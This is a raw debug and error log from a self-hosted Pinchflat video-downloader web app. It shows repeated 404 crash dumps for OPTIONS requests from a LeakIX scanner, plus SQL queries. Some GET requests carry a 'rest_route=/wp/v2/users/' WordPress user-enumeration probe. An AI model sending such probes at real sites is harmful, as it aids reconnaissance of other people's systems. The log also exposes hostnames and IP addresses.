OPTIONS / 17:50:51.777 [debug] QUERY OK source="settings" db=0.1ms idle=991.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:50:51.777 [debug] QUERY OK source="settings" db=0.1ms idle=991.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:50:51.778 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:50:51.778 [error] #PID<0.162811.0> running PinchflatWeb.Endpoint (connection #PID<0.162810.0>, stream id 1) terminated Server: pf.hornstreamingservices.com:80 (http) Request: OPTIONS / ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for OPTIONS / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162810.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 44412}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)", "x-forwarded-for" => "206.81.12.187", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "206.81.12.187" }, method: "OPTIONS", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pf.hornstreamingservices.com", method: "OPTIONS", owner: #PID<0.162811.0>, params: %{}, path_info: [], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)"}, {"x-forwarded-for", "206.81.12.187"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "206.81.12.187"} ], request_path: "/", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GM1dJ5hakxUsOSUABvPE"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162810.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 44412}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)", "x-forwarded-for" => "206.81.12.187", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "206.81.12.187" }, method: "OPTIONS", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for OPTIONS / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162810.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 44412}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)", "x-forwarded-for" => "206.81.12.187", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "206.81.12.187" }, method: "OPTIONS", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pf.hornstreamingservices.com", method: "OPTIONS", owner: #PID<0.162811.0>, params: %{}, path_info: [], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)"}, {"x-forwarded-for", "206.81.12.187"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "206.81.12.187"} ], request_path: "/", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GM1dJ5hakxUsOSUABvPE"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ (truncated) 17:50:52.655 [info] OPTIONS / 17:50:52.656 [debug] QUERY OK source="settings" db=0.1ms idle=1032.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:50:52.656 [debug] QUERY OK source="settings" db=0.1ms idle=1033.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:50:52.657 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:50:52.657 [error] #PID<0.162813.0> running PinchflatWeb.Endpoint (connection #PID<0.162812.0>, stream id 1) terminated Server: pf.hornstreamingservices.com:80 (http) Request: OPTIONS / ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for OPTIONS / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162812.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 44416}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)", "x-forwarded-for" => "159.89.12.166", "x-forwarded-proto" => "http", "x-forwarded-scheme" => "http", "x-real-ip" => "159.89.12.166" }, method: "OPTIONS", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pf.hornstreamingservices.com", method: "OPTIONS", owner: #PID<0.162813.0>, params: %{}, path_info: [], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "http://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)"}, {"x-forwarded-for", "159.89.12.166"}, {"x-forwarded-proto", "http"}, {"x-forwarded-scheme", "http"}, {"x-real-ip", "159.89.12.166"} ], request_path: "/", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GM1dJ8y72ICyJOkAFonh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162812.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 44416}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)", "x-forwarded-for" => "159.89.12.166", "x-forwarded-proto" => "http", "x-forwarded-scheme" => "http", "x-real-ip" => "159.89.12.166" }, method: "OPTIONS", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for OPTIONS / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162812.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 44416}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)", "x-forwarded-for" => "159.89.12.166", "x-forwarded-proto" => "http", "x-forwarded-scheme" => "http", "x-real-ip" => "159.89.12.166" }, method: "OPTIONS", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pf.hornstreamingservices.com", method: "OPTIONS", owner: #PID<0.162813.0>, params: %{}, path_info: [], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "http://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)"}, {"x-forwarded-for", "159.89.12.166"}, {"x-forwarded-proto", "http"}, {"x-forwarded-scheme", "http"}, {"x-real-ip", "159.89.12.166"} ], request_path: "/", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GM1dJ8y72ICyJOkAFonh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {Pin (truncated) 17:50:52.801 [info] GET / 17:50:52.801 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{"rest_route" => "/wp/v2/users/"} Pipelines: [:browser] 17:50:52.802 [debug] QUERY OK source="settings" db=0.1ms idle=1024.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:50:52.802 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1024.3ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 17:50:52.802 [debug] QUERY OK source="sources" db=0.0ms idle=437.4ms SELECT count(s0."id") FROM "sources" AS s0 [] 17:50:52.803 [debug] QUERY OK source="media_items" db=0.3ms idle=146.1ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 17:50:52.803 [debug] QUERY OK source="media_items" db=0.2ms idle=146.1ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 17:50:52.803 [debug] QUERY OK source="settings" db=0.0ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:50:52.803 [debug] QUERY OK source="settings" db=0.1ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:50:52.804 [debug] QUERY OK source="settings" db=0.0ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:50:52.805 [debug] QUERY OK source="tasks" db=0.1ms idle=1.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 17:50:52.805 [debug] QUERY OK source="media_items" db=0.1ms idle=1.9ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 17:50:52.805 [debug] QUERY OK source="media_items" db=0.3ms idle=1.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 17:50:52.806 [debug] QUERY OK source="sources" db=0.2ms idle=2.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [2, 3] 17:50:52.808 [debug] QUERY OK source="media_items" db=0.6ms idle=3.3ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 17:50:52.809 [debug] QUERY OK source="media_items" db=0.9ms idle=3.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 17:50:52.809 [info] Sent 200 in 8ms 17:50:53.684 [info] GET / 17:50:53.684 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{"rest_route" => "/wp/v2/users/"} Pipelines: [:browser] 17:50:53.684 [debug] QUERY OK source="settings" db=0.3ms idle=878.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:50:53.685 [debug] QUERY OK source="media_profiles" db=0.1ms idle=878.3ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 17:50:53.685 [debug] QUERY OK source="sources" db=0.2ms idle=876.9ms SELECT count(s0."id") FROM "sources" AS s0 [] 17:50:53.685 [debug] QUERY OK source="media_items" db=0.4ms idle=876.2ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 17:50:53.686 [debug] QUERY OK source="media_items" db=0.3ms idle=319.8ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 17:50:53.686 [debug] QUERY OK source="settings" db=0.1ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:50:53.687 [debug] QUERY OK source="settings" db=0.2ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:50:53.687 [debug] QUERY OK source="settings" db=0.1ms idle=1.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:50:53.688 [debug] QUERY OK source="tasks" db=0.2ms idle=2.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 17:50:53.689 [debug] QUERY OK source="media_items" db=0.4ms idle=2.1ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 17:50:53.689 [debug] QUERY OK source="media_items" db=0.4ms idle=2.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 17:50:53.690 [debug] QUERY OK source="sources" db=0.2ms idle=2.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [2, 3] 17:50:53.692 [debug] QUERY OK source="media_items" db=0.8ms idle=4.3ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 17:50:53.694 [debug] QUERY OK source="media_items" db=1.4ms idle=4.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= 